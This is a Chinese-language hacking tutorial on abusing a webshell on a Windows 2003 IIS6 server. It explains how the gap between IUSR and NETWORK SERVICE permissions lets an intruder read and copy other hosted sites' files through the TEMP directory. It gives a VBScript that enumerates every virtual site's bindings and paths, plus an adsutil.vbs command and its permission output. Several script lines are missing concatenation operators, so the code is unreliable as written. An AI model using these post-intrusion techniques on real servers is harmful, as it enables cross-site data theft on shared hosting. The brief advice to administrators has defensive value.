一.CMD命令的特殊使用（别一看到这标题，你就失去了兴趣了哦，人不可貌相，海水不可斗量，请读者朋友耐心继续看下去）
为了不让读者看的蒙蒙的，我们先来介绍下原理。（以下内容，均以WIN2k3系统的IIS6为测试环境）
很多人都知道，我们一般拿到的WEBSHELL基本都是GUEST或USER权限，但其实我们的WEBSHELL在2K3上并不仅仅是GUEST或USER权限。呵呵，看到这是不是有点蒙了呢？别急，让NP慢慢道来。IIS6的运行，有分IUSR（来宾账户【GUESTS组权限】）和IWAM（IIS的启动帐户【IIS_WPG组权限】）以及默认的nt authority\network service (IIS内置账户)来运转的。也就是说，我们用WEBSHELL直接去看目录的东西时，是以IUSR来宾账户的权限去看的，而当我们执行命令时，却是用默认的nt authority\network service (IIS内置账户)或IWAM账户来运行的（以IWAM权限运行的，一般都是后面自己设置的）由于两个用户的权限不一样，就产生了一些权限管理的疏漏。当管理员权限配置不当时，虽然我们以IUSR用户无法跨目录看到别的站点的信息 如图1所示
权限设置跟WEBSHELL目录类似。这种就是典型的权限配置疏漏。但是由于是只读权限，所以我们都没办法COPY东西到我们自身目录，因为nt authority\network service (IIS内置账户)对WEBSHELL所在目录也只是只读权限。若我们COPY到TEMP目录，就会发现，我们COPY成功了，因为TEMP是 EVERYONE可写的。管理员的一个权限配置疏漏，给我们留下了一线生机，让我们轻易的获得别的网站的内容和敏感信息。有的时候Dir不了对方的目录，但是却可用Type命令列其文件内容。这又是为什么呢？这个就是枚举权限和读权限的差别了！当我们知道了其中的原理，我们在Hacking中就更能如鱼得水了。当然，攻防双收，管理员看了这个，估计也会注意权限的配置了。尽量避免这种权限配置疏漏的小错误发生了。(建议在能执行命令的WEBSHELL上，习惯性的WHOAMI下，看看当前的权限哦！有的管理员会把应用程序池设置成SYSTEM权限，那就占了很大便宜咯!)
On Error Resume Next
If (LCase(Right(WScript.Fullname,11))="wscript.exe") Then
wscript.echo Space(12) "IIS Virtual Web Viewer" & Space(12) & Chr(13) & Space(9) & " Usage:Cscript vWeb.vbs",4096,"Lilo"
WScript.Quit
End If
Set ObjService=GetObject("IIS://LocalHost/W3SVC")
For Each obj3w In objservice
If IsNumeric(obj3w.Name) Then
Set OService=GetObject("IIS://LocalHost/W3SVC/" obj3w.Name)
Set VDirObj = OService.GetObject("IIsWebVirtualDir", "ROOT")
If Err <> 0 Then WScript.Quit (1)
WScript.Echo Chr(10) "[" & OService.ServerComment & "]"
For Each Binds In OService.ServerBindings
Web = "{ " Replace(Binds,":"," } { ") & " }"
WScript.Echo Replace(Split(Replace(Web," ",""),"}{")(2),"}","")
Next
WScript.Echo "Path : " VDirObj.Path
End If
Next当然，你也可用自己UP一个adsutil.vbs（微软IIS自带的脚本 c:\Inetpub\AdminScripts\adsutil.vbs 此目录脚本，默认没权限调用）以这样的命令形式调用Cscript.exe c:\xxx\adsutil.vbs ENUM /P W3SVC 执行后效果 如图8所示
LM –
W3SVC
NT AUTHORITY\LOCAL SERVICE
Access: R UE
NT AUTHORITY\NETWORK SERVICE
Access: R UE
{computername}\IIS_WPG
Access: R UE
BUILTIN\Administrators
Access: RWSUED
{computername}\ASPNET
Access: R E
W3SVC/Filters
NT AUTHORITY\LOCAL SERVICE
Access: RW UE
NT AUTHORITY\NETWORK SERVIC
Access: RW UE
{computername}\IIS_WPG
Access: RW UE
BUILTIN\Administrators
Access: RWSUED
W3SVC/1/Filters
NT AUTHORITY\LOCAL SERVICE
Access: RW UE
NT AUTHORITY\NETWORK SERVIC
Access: RW UE
{computername}\IIS_WPG
Access: RW UE
BUILTIN\Administrators
Access: RWSUED
W3SVC/AppPools
NT AUTHORITY\LOCAL SERVICE
Access: U
NT AUTHORITY\NETWORK SERVICE
Access: U
{computername}\IIS_WPG
Access: U
BUILTIN\Administrators
Access: RWSUED
W3SVC/INFO
BUILTIN\Administrators
Access: RWSUED
MSFTPSVC
BUILTIN\Administrators
Access: RWSUED
SMTPSVC
BUILTIN\Administrators
Access: RWSUED
NT AUTHORITY\LOCAL SERVICE
Access: UE
NT AUTHORITY\NETWORK SERVICE
Access: UE
NNTPSVC
BUILTIN\Administrators
Access: RWSUED
NT AUTHORITY\LOCAL SERVICE
Access: UE
NT AUTHORITY\NETWORK SERVICE
Access: UE
Logging
BUILTIN\Administrators
Access: RWSUED
